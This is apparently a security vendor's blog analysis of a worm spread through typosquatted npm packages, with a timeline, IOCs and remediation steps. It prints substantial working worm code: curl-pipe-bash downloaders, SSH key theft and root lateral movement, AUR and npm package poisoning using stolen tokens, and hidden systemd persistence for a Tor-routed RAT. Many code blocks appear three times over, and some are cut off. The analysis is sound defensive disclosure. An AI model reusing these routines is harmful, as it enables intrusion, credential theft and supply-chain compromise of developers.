Ossprey raises $2.65m to fight AI-era software supply chain attacks.

Ossprey raises $2.65m to fight AI-era software supply chain attacks. Learn More

Ossprey

Ossprey raises $2.65m to fight AI-era software supply chain attacks.

Ossprey

BACK

Real World Attacks

Blankets, worms, and RATs: New worm targets NPM and AUR

Ellie Jevon

29 Sept 2026

Real World Attacks

Blankets, worms, and RATs: New worm targets NPM and AUR

Ellie Jevon

29 Sept 2026

No headings found in content selector: .toc-content

On 29th September the npm account dirtyblanket published nine packages in 33 minutes. 8 of them are copies of the legitimate package express@5.2.1, and one is a copy of react@19.3.0 , the only difference is a preinstall hook which downloads the payload. This is another example of malicious packages pretending to be legitimate packages in order to trick users/AI agents into downloading and installing them.

That script is a staged Linux worm hosted on Codeberg (hellscripter/install-scripts) and mirrored through the Wayback Machine.

What it does

  • Installs a modified build of the open-source CHAOS RAT as a fake systemd "font" service, talking to a Tor hidden service.

    • RAT (remote access trojan), is a type of malware that allows the hacker to have control of the infected device.

    • Tor (the onion router), is a browser designed to protect privacy by providing users with complete anonymity.

  • Steals every SSH private key on the host and uses them against every host in known_hosts , including as root.

  • Backdoors every AUR package those keys can push to.

    • AUR packages are community created packages used for Arch linux

  • Backdoors and republishes every npm package on disk, using every .npmrc token it finds.

CHAOS is an open source remote control tool (RAT), the attacker didn't use it as is, they made a couple of customisations. Firstly, renaming settings from plain english things like "server_Address" to random strings. This means scanners looking for the familiar settings won't identify it. Next they made it able to use Tor so it can reach the C2, the worm installs Tor on the infected device and then sets HTTP_PROXY to point at it. This causes the RAT's traffic to go through Tor.

This is an interesting attack for a few reasons:

  • The wayback machine has been used before but this worm is doing something slightly different, uploading the files to Codeberg, then creating snapshots, then pointing the malware at the snapshots.

  • Creating snapshots doesn't need a user account and removing the repo doesn't remove theses snapshots so its able to survive takedown attempts

  • web.archive.org is a trusted domain and therefore is allowed on many networks and wouldn't be flagged as malicious or suspicious behaviour.

  • The propagation

  • The use of Tor isn't anything new here but the attacker modified CHAOS to be compatible and it also gets Tor running on the victim's device with or without root. This means there is no C2 domain to block and makes it near impossible to get taken down

    • Additionally with any malware using Tor, due to the nature of it, the traffic itself is not able to be inspected so this is a common network evasion technique.

The closest attack in terms of methods used is the Atomic Arch attack, in which attackers targeted orphaned AUR packages and pointed them at attacker-published npm packages.

Affected packages

All published by dirtyblanket (s7dwzxru4z@ooynib[.]com) using npm 12.1.0 and node 26.10.0. Each package has a single version.


Package

Version

Clone of

Published (UTC)

xeprews

5.2.1

express

2026-09-29 06:05:54

express-javascript

5.2.1

express

2026-09-29 06:09:16

express-nodejs

5.2.1

express

2026-09-29 06:12:06

react-nodejs

19.3.0

react

2026-09-29 06:12:36

exprdd

5.2.1

express

2026-09-29 06:31:51

exprrdd

5.2.1

express

2026-09-29 06:32:04

exptrdd

5.2.1

express

2026-09-29 06:35:15

exptred

5.2.1

express

2026-09-29 06:36:43

exptredd

5.2.1

express

2026-09-29 06:38:56

Timeline (UTC, 2026-09-29)

Time

Event

~02:59

CHAOS C2 JWT issued (inferred: the token expires 2027-09-29 02:59:00, assuming a 1-year lifetime)

05:05:20

Codeberg account hellscripter created

05:08

Repo hellscripter/install-scripts created

05:11 / 05:16

First commit 5149bfde (authored/committed): node.js, linux.sh, systemd-fontd, all pointing directly at Codeberg

05:22:10

Wayback captures linux.sh (first-commit version)

05:23:01

Wayback captures systemd-fontd (RAT binary)

05:24:36

Wayback captures node.js (first-commit version)

05:26:34

Commit a606c832, "use Web Archive": every URL is switched to web.archive.org/web/…"

06:05–06:38

Nine typosquat packages published to npm by dirtyblanket

image.png

Each file has exactly one Wayback capture, taken minutes before the scripts were changed to point at Wayback. This means that the payload stays up if Codeberg removes the malicious repo.

Technical analysis

image.png


Stage 0: npm preinstall hook

The packages are exact copies of the real ones. A diff against the official express and react-nodejs tarball shows only the name change and one added script:




Stage 1: node.js (Linux gate)

This is the archived (first-commit) version that a redirect-following curl receives. The live version on Codeberg is the same except that the URL goes through web.archive.org. There is a Windows branch, but it is commented out and uses placeholder URLs.

const { exec } = require("child_process");
const { platform } = require('node:process');

if (process.platform === "linux") {
    exec("curl https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh | bash", ()=>{});
} /*else if (process.platform === "win32") {
    exec("curl.exe https://example.com/windows.ps1 | powershell", ()=>{});
}*/
const { exec } = require("child_process");
const { platform } = require('node:process');

if (process.platform === "linux") {
    exec("curl https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh | bash", ()=>{});
} /*else if (process.platform === "win32") {
    exec("curl.exe https://example.com/windows.ps1 | powershell", ()=>{});
}*/
const { exec } = require("child_process");
const { platform } = require('node:process');

if (process.platform === "linux") {
    exec("curl https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh | bash", ()=>{});
} /*else if (process.platform === "win32") {
    exec("curl.exe https://example.com/windows.ps1 | powershell", ()=>{});
}*/


Stage 2: linux.sh (worm)

The whole script runs detached, with all input and output discarded:

Dependencies (as root): it installs Tor, SSH, git and npm.

if [ "$ID" = 'arch' ] || [ "$ID_LIKE" = 'arch' ]; then
  until pacman -S --needed --noconfirm tor openssh git npm base-devel
  do
    sleep 1
  done
elif [ "$ID" = 'debian' ] || [ "$ID_LIKE" = 'debian' ]; then
  apt-get install -y tor openssh-client git npm build-essential
fi
if [ "$ID" = 'arch' ] || [ "$ID_LIKE" = 'arch' ]; then
  until pacman -S --needed --noconfirm tor openssh git npm base-devel
  do
    sleep 1
  done
elif [ "$ID" = 'debian' ] || [ "$ID_LIKE" = 'debian' ]; then
  apt-get install -y tor openssh-client git npm build-essential
fi
if [ "$ID" = 'arch' ] || [ "$ID_LIKE" = 'arch' ]; then
  until pacman -S --needed --noconfirm tor openssh git npm base-devel
  do
    sleep 1
  done
elif [ "$ID" = 'debian' ] || [ "$ID_LIKE" = 'debian' ]; then
  apt-get install -y tor openssh-client git npm build-essential
fi

Persistence (root): it drops the RAT disguised as a systemd component, routes it through Tor, and makes the files immutable so they are harder to remove.

curl "$_linux_binary_url" -o /usr/lib/systemd/systemd-fontrenderd
chmod +x /usr/lib/systemd/systemd-fontrenderd
chattr +i /usr/lib/systemd/systemd-fontrenderd

cat <<EOF >/etc/systemd/system/systemd-fontrenderd.service
[Unit]
Description=Font Rendering Service
Requires=tor.service
After=tor.service

[Service]
Environment="HTTP_PROXY=socks5://127.0.0.1:9050"
ExecStart=/usr/lib/systemd/systemd-fontrenderd
KillMode=none
...
chattr +i /etc/systemd/system/systemd-fontrenderd.service
chattr +i /etc/systemd/system/multi-user.target.wants/systemd-fontrenderd.service
curl "$_linux_binary_url" -o /usr/lib/systemd/systemd-fontrenderd
chmod +x /usr/lib/systemd/systemd-fontrenderd
chattr +i /usr/lib/systemd/systemd-fontrenderd

cat <<EOF >/etc/systemd/system/systemd-fontrenderd.service
[Unit]
Description=Font Rendering Service
Requires=tor.service
After=tor.service

[Service]
Environment="HTTP_PROXY=socks5://127.0.0.1:9050"
ExecStart=/usr/lib/systemd/systemd-fontrenderd
KillMode=none
...
chattr +i /etc/systemd/system/systemd-fontrenderd.service
chattr +i /etc/systemd/system/multi-user.target.wants/systemd-fontrenderd.service
curl "$_linux_binary_url" -o /usr/lib/systemd/systemd-fontrenderd
chmod +x /usr/lib/systemd/systemd-fontrenderd
chattr +i /usr/lib/systemd/systemd-fontrenderd

cat <<EOF >/etc/systemd/system/systemd-fontrenderd.service
[Unit]
Description=Font Rendering Service
Requires=tor.service
After=tor.service

[Service]
Environment="HTTP_PROXY=socks5://127.0.0.1:9050"
ExecStart=/usr/lib/systemd/systemd-fontrenderd
KillMode=none
...
chattr +i /etc/systemd/system/systemd-fontrenderd.service
chattr +i /etc/systemd/system/multi-user.target.wants/systemd-fontrenderd.service

Persistence (unprivileged): it downloads the official Tor expert bundle into ~/.config/systemd/systemd-fontrenderd/ and runs it, plus the RAT as ~/.config/systemd/systemd-fontcached, as user services named systemd-fontrenderd.service and systemd-fontcached.service.

SSH key theft and lateral movement: it finds every OpenSSH private key on the box (including under WSL's /mnt/c/Users) and tries it against every host in known_hosts, both through the user's SSH config and as root.

cat {/home/*,/root,/mnt/c/Users/*}/.ssh/known_hosts /etc/ssh/ssh_known_hosts{,2} >> "$_known_hosts"

for _key in $(file {/home/*,/root,/mnt/c/Users/*}/.ssh/** | grep "OpenSSH private key" | cut -d":" -f1)
do
  _use_ssh_key "$_key" &
done
cat {/home/*,/root,/mnt/c/Users/*}/.ssh/known_hosts /etc/ssh/ssh_known_hosts{,2} >> "$_known_hosts"

for _key in $(file {/home/*,/root,/mnt/c/Users/*}/.ssh/** | grep "OpenSSH private key" | cut -d":" -f1)
do
  _use_ssh_key "$_key" &
done
cat {/home/*,/root,/mnt/c/Users/*}/.ssh/known_hosts /etc/ssh/ssh_known_hosts{,2} >> "$_known_hosts"

for _key in $(file {/home/*,/root,/mnt/c/Users/*}/.ssh/** | grep "OpenSSH private key" | cut -d":" -f1)
do
  _use_ssh_key "$_key" &
done
_infect_host() {
  _ssh $@ || exit 1
  _uname="$(_ssh $@ uname)"
  if [ "$_uname" = 'Linux' ]; then
    _ssh $@ "nohup curl '$_linux_script_url' | nohup bash &>/tmp/log"
  fi
}
...
_infect_host -l root -i "$1" "$_url"

_infect_host() {
  _ssh $@ || exit 1
  _uname="$(_ssh $@ uname)"
  if [ "$_uname" = 'Linux' ]; then
    _ssh $@ "nohup curl '$_linux_script_url' | nohup bash &>/tmp/log"
  fi
}
...
_infect_host -l root -i "$1" "$_url"

_infect_host() {
  _ssh $@ || exit 1
  _uname="$(_ssh $@ uname)"
  if [ "$_uname" = 'Linux' ]; then
    _ssh $@ "nohup curl '$_linux_script_url' | nohup bash &>/tmp/log"
  fi
}
...
_infect_host -l root -i "$1" "$_url"

AUR supply-chain poisoning: for each stolen key, it lists every AUR package the key can push to. For each one it adds a curl | bash line to the package's install hook and pushes the change, using the previous committer's name and email and a routine-looking commit message.

_repos=$(_ssh -i "$1" aur@aur.archlinux.org list-repos | tr -d '*')
...
_do_aur_update() {
  git clone "ssh://aur@aur.archlinux.org/$1.git" "$_tmp_git_path"
  cd "$_tmp_git_path" || exit 1
  source PKGBUILD
  ((pkgrel++))
  printf '\npkgrel=%s\n' "$pkgrel" >> PKGBUILD
  if [ -z "$install" ]; then
    install="$pkgname.install"
    echo "install='$install'" >> PKGBUILD
  fi
  echo "bash <(curl '$_linux_script_url')" >> "$install"

  git config user.email "$(git log -1 --pretty=format:'%ae')"
  git config user.name "$(git log -1 --pretty=format:'%an')"

  git add PKGBUILD "$install"
  git commit -m "upgpkg: $pkgver-$pkgrel" -a --no-gpg-sign
  git

_repos=$(_ssh -i "$1" aur@aur.archlinux.org list-repos | tr -d '*')
...
_do_aur_update() {
  git clone "ssh://aur@aur.archlinux.org/$1.git" "$_tmp_git_path"
  cd "$_tmp_git_path" || exit 1
  source PKGBUILD
  ((pkgrel++))
  printf '\npkgrel=%s\n' "$pkgrel" >> PKGBUILD
  if [ -z "$install" ]; then
    install="$pkgname.install"
    echo "install='$install'" >> PKGBUILD
  fi
  echo "bash <(curl '$_linux_script_url')" >> "$install"

  git config user.email "$(git log -1 --pretty=format:'%ae')"
  git config user.name "$(git log -1 --pretty=format:'%an')"

  git add PKGBUILD "$install"
  git commit -m "upgpkg: $pkgver-$pkgrel" -a --no-gpg-sign
  git

_repos=$(_ssh -i "$1" aur@aur.archlinux.org list-repos | tr -d '*')
...
_do_aur_update() {
  git clone "ssh://aur@aur.archlinux.org/$1.git" "$_tmp_git_path"
  cd "$_tmp_git_path" || exit 1
  source PKGBUILD
  ((pkgrel++))
  printf '\npkgrel=%s\n' "$pkgrel" >> PKGBUILD
  if [ -z "$install" ]; then
    install="$pkgname.install"
    echo "install='$install'" >> PKGBUILD
  fi
  echo "bash <(curl '$_linux_script_url')" >> "$install"

  git config user.email "$(git log -1 --pretty=format:'%ae')"
  git config user.name "$(git log -1 --pretty=format:'%an')"

  git add PKGBUILD "$install"
  git commit -m "upgpkg: $pkgver-$pkgrel" -a --no-gpg-sign
  git

npm supply-chain poisoning: every package.json on the filesystem outside node_modules gets the hook added, a patch version bump, and a publish attempt with every npm config file on the host. The original package.json is then restored so the local change is hidden.

for _package in $(dirname /**/package.json | grep -v node_modules)
do
  _do_npm_update "$_package" &
done
...
_do_npm_update() {
  cd "$1" || exit 1
  local _package_json_orig="$(mktemp -u)"
  cp -a package.json "$_package_json_orig"

  local _preinstall="$(npm pkg get scripts.preinstall)"
  if [ -n "$_preinstall" ]; then
    local _preinstall+=' & '
  fi
  local _preinstall+="curl $_node_script_url | node"
  npm pkg set scripts.preinstall="$_preinstall"
  npm version patch

  for NPM_CONFIG_USERCONFIG in {/home/*,.,/mnt/c/Users/*,/root}/.npmrc "$PREFIX/etc/npmrc"
  do
    export NPM_CONFIG_USERCONFIG
    npm publish &
  done
  wait
  mv -f "$_package_json_orig"

for _package in $(dirname /**/package.json | grep -v node_modules)
do
  _do_npm_update "$_package" &
done
...
_do_npm_update() {
  cd "$1" || exit 1
  local _package_json_orig="$(mktemp -u)"
  cp -a package.json "$_package_json_orig"

  local _preinstall="$(npm pkg get scripts.preinstall)"
  if [ -n "$_preinstall" ]; then
    local _preinstall+=' & '
  fi
  local _preinstall+="curl $_node_script_url | node"
  npm pkg set scripts.preinstall="$_preinstall"
  npm version patch

  for NPM_CONFIG_USERCONFIG in {/home/*,.,/mnt/c/Users/*,/root}/.npmrc "$PREFIX/etc/npmrc"
  do
    export NPM_CONFIG_USERCONFIG
    npm publish &
  done
  wait
  mv -f "$_package_json_orig"

for _package in $(dirname /**/package.json | grep -v node_modules)
do
  _do_npm_update "$_package" &
done
...
_do_npm_update() {
  cd "$1" || exit 1
  local _package_json_orig="$(mktemp -u)"
  cp -a package.json "$_package_json_orig"

  local _preinstall="$(npm pkg get scripts.preinstall)"
  if [ -n "$_preinstall" ]; then
    local _preinstall+=' & '
  fi
  local _preinstall+="curl $_node_script_url | node"
  npm pkg set scripts.preinstall="$_preinstall"
  npm version patch

  for NPM_CONFIG_USERCONFIG in {/home/*,.,/mnt/c/Users/*,/root}/.npmrc "$PREFIX/etc/npmrc"
  do
    export NPM_CONFIG_USERCONFIG
    npm publish &
  done
  wait
  mv -f "$_package_json_orig"

npm pkg get prints {} when there is no existing hook, and a JSON-quoted string when there is one. As a result, packages infected by the worm have a distinctive preinstall such as:

{} & curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node
{} & curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node
{} & curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node

Stage 3: systemd-fontd (modified CHAOS RAT)

A stripped 64-bit Go ELF (7,581,959 bytes, Go 1.27.1, CGO enabled, -trimpath). Its embedded build info identifies it as the CHAOS client (github.com/tiagorlampert/CHAOS/client). The function table recovered from the binary includes:




Embedded C2 config. CHAOS embeds a base64-encoded JSON config. Upstream uses the keys server_address, port and token. This build uses random key names:




The JWT decodes to {"authorized":true,"exp":1822186740,"user":"default"}, which expires 2027-09-29 02:59:00 UTC. The .onion is a valid v3 address (checksum verified).

Tor patch. Upstream CHAOS builds its HTTP client with a custom transport that ignores proxy environment variables:




In this binary, the only code reference to net/http.ProxyFromEnvironment is inside client/app.New, which is where NewHttpClient() is inlined. The attacker added Proxy: http.ProxyFromEnvironment, so the RAT's HTTP traffic follows the HTTP_PROXY=socks5://127.0.0.1:9050 set in its service unit. Without this change the RAT could not reach its .onion C2.

Why it currently fails

Plain curl does not follow redirects. Every URL under https://web.archive.org/web/https://codeberg.org/... returns 302 with an empty body:




At the time of analysis the chain fails by default. Every hop uses curl without -L against Wayback URLs, which answer with a 302 redirect, so curl gets an empty body. That fails silently, and it is a one-character fix for the attacker. Any machine where curl follows redirects (for example location in ~/.curlrc) runs the worm.

Indicators of compromise

npm

account:  dirtyblanket
email:    s7dwzxru4z@ooynib[.]

account:  dirtyblanket
email:    s7dwzxru4z@ooynib[.]

account:  dirtyblanket
email:    s7dwzxru4z@ooynib[.]

Network / hosting

hxxps://codeberg[.]org/hellscripter
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/node.js
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/linux.sh
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/systemd-fontd
hxxps://web.archive[.]org/web/20260929052436/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/node.js
hxxps://web.archive[.]org/web/20260929052210/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/linux.sh
hxxps://web.archive[.]org/web/20260929052301/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/systemd-fontd
C2: s5n2uyo6gb6dhirsm5pihwohi6e7ayrwojx4xjow4cqabmbowpezenid[.]onion:80
Tor bundle fetch (legit host, suspicious context):
    hxxps://dist.torproject[.]

hxxps://codeberg[.]org/hellscripter
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/node.js
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/linux.sh
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/systemd-fontd
hxxps://web.archive[.]org/web/20260929052436/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/node.js
hxxps://web.archive[.]org/web/20260929052210/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/linux.sh
hxxps://web.archive[.]org/web/20260929052301/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/systemd-fontd
C2: s5n2uyo6gb6dhirsm5pihwohi6e7ayrwojx4xjow4cqabmbowpezenid[.]onion:80
Tor bundle fetch (legit host, suspicious context):
    hxxps://dist.torproject[.]

hxxps://codeberg[.]org/hellscripter
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/node.js
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/linux.sh
hxxps://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/systemd-fontd
hxxps://web.archive[.]org/web/20260929052436/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/node.js
hxxps://web.archive[.]org/web/20260929052210/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/linux.sh
hxxps://web.archive[.]org/web/20260929052301/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/systemd-fontd
C2: s5n2uyo6gb6dhirsm5pihwohi6e7ayrwojx4xjow4cqabmbowpezenid[.]onion:80
Tor bundle fetch (legit host, suspicious context):
    hxxps://dist.torproject[.]

File hashes (SHA256)

File

SHA256

systemd-fontd (CHAOS RAT, ELF x86-64)

2c9dbc14809f1e1aebda114194368b002acf74c8760b88fc101f625d179793c2

linux.sh (current, Wayback URLs)

65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577

linux.sh (first commit / Wayback capture)

d6d78ef8ed8bd6d77e1b871e3ce0a0c5e5929af02aee29ba8d94e5067f2aca12

node.js (current, Wayback URLs)

f7fd41c720418bf2ebc03337484047206e3f13af71686aa1bb7bfe7938c6ec69

node.js (first commit / Wayback capture)

e255d473e13f6bfb8c594ff5eb459cf1441983fe0424ab2623d79286331fd33d


RAT build IDs:




Host artifacts




Supply-chain artifacts written by the worm:

npm:  preinstall contains "& curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
AUR:  *.install contains "bash <(curl 'https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh')"
      with a commit "upgpkg: <pkgver>-<pkgrel>

npm:  preinstall contains "& curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
AUR:  *.install contains "bash <(curl 'https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh')"
      with a commit "upgpkg: <pkgver>-<pkgrel>

npm:  preinstall contains "& curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
AUR:  *.install contains "bash <(curl 'https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh')"
      with a commit "upgpkg: <pkgver>-<pkgrel>

Remediation

  • Anyone who installed one of these packages:

    • Check for the host artifacts above.

    • The files are immutable, so run chattr -i on them before systemctl disable --now and deleting them.

    • Assume that all SSH private keys and npm tokens on the host are compromised and rotate them.

    • Check the hosts in its known_hosts for the same artifacts.

  • Package maintainers:

    • Look for unexpected patch releases on npm, and unexpected upgpkg: commits on the AUR, made on or after 2026-09-29.

  • Registries and hosts:

    • Report dirtyblanket to npm, hellscripter to Codeberg, the three Wayback snapshots to the Internet Archive, and the AUR poisoning technique to the AUR team.

SHARE

Subscribe Now. 

Subscribe Now. 

Subscribe Now. 

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.